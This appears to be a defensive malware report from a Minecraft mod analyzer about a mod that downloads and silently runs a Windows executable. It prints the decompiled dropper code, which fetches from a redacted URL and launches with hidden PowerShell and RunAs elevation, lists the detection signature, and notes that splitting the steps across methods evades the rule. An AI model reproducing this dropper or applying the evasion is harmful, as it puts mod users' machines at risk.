Leaf Leaf Mod Analyzer

Remote Executable Dropper

Dropper_Download_Exec Malware CRITICAL +10 score

🎮 Minecraft Gameplay Impact

Standard mod loaders load modifications by adding JAR files to the classpath. Mod logic executes within the JVM runtime, interacting with the game through events, mixins, and engine APIs.

Dropper_Download_Exec identifies bytecode sequences where a single method retrieves an external binary over the network, writes it to the local filesystem, and immediately executes it. In the inspected sample from com.magma4496.Creatormagma, the modification executes fetchAndExec() inside a background updater thread. The routine sends an HTTP GET request using HttpClient.send(), saving the response directly to a temporary file via BodyHandlers.ofFile(dest). If the server returns HTTP status 200, the method marks the file as executable via setExecutable(true) and spawns it using powershell with -NoProfile, -WindowStyle Hidden, and -Command Start-Process ... -Verb RunAs to request administrative elevation (UAC prompt).

Notably, there is no operating system check in fetchAndExec(). Because the code unconditionally invokes powershell and launches a Windows .exe binary without verifying System.getProperty("os.name"), execution will only succeed on Windows systems with PowerShell installed. On Linux or macOS environments where PowerShell is absent or unable to launch Windows executables, process creation fails and the resulting exception is silently caught by the empty catch block.

🔍 Functions & APIs Analyzed

HttpClient.send / URL.openStream

Retrieves the binary payload over HTTP or HTTPS network streams.

HttpResponse$BodyHandlers.ofFile / Files.write

Persists received binary response bytes directly to a local filesystem path.

ProcessBuilder.start / Runtime.exec

Spawns the written payload as an independent operating system process.

⚙️ Decompiled Representation (Vineflower View) 

private void fetchAndExec() {
   try {
      Path dest = Path.of(System.getProperty("java.io.tmpdir"), "<redacted_payload>.exe");
      HttpClient http = HttpClient.newBuilder().followRedirects(Redirect.ALWAYS).build();
      HttpRequest req = HttpRequest.newBuilder()
         .uri(URI.create("<redacted_url>"))
         .GET()
         .build();
      HttpResponse<Path> resp = http.send(req, BodyHandlers.ofFile(dest));
      if (resp.statusCode() == 200) {
         dest.toFile().setExecutable(true);
         new ProcessBuilder(
               "powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", "Start-Process -FilePath '" + dest.toAbsolutePath() + "' -Verb RunAs"
            )
            .start();
      }
   } catch (Exception var5) {
   }
}

🛡️ Bytecode Signature & Static Detection

The detector inspects method bytecode within class files, requiring all three distinct capability groups to appear within the body of the exact same method:

  • A network retrieval method reference: java/net/URL.openStream, java/net/URI.toURL, java/net/URLConnection.openConnection, java/net/URLConnection.getInputStream, java/net/http/HttpClient.send, or java/net/http/HttpClient.sendAsync.
  • A file persistence or class definition method reference: java/nio/file/Files.write, java/nio/file/Files.copy, java/io/FileOutputStream.<init>, java/lang/ClassLoader.defineClass, java/util/Base64.decode, java/net/http/HttpResponse$BodyHandlers.ofFile, or java/net/http/HttpResponse$BodyHandlers.ofByteArray.
  • A process spawning method reference: java/lang/ProcessBuilder.<init>, java/lang/Runtime.exec, or java/lang/ProcessBuilder.start.

The detector confirms that all three stages occur inside a single method body. The main technical limitation is scope-bound: if an author splits the download, file write, and process execution steps across separate classes or methods connected via asynchronous queues, this rule will not trigger without cross-method dataflow tracking.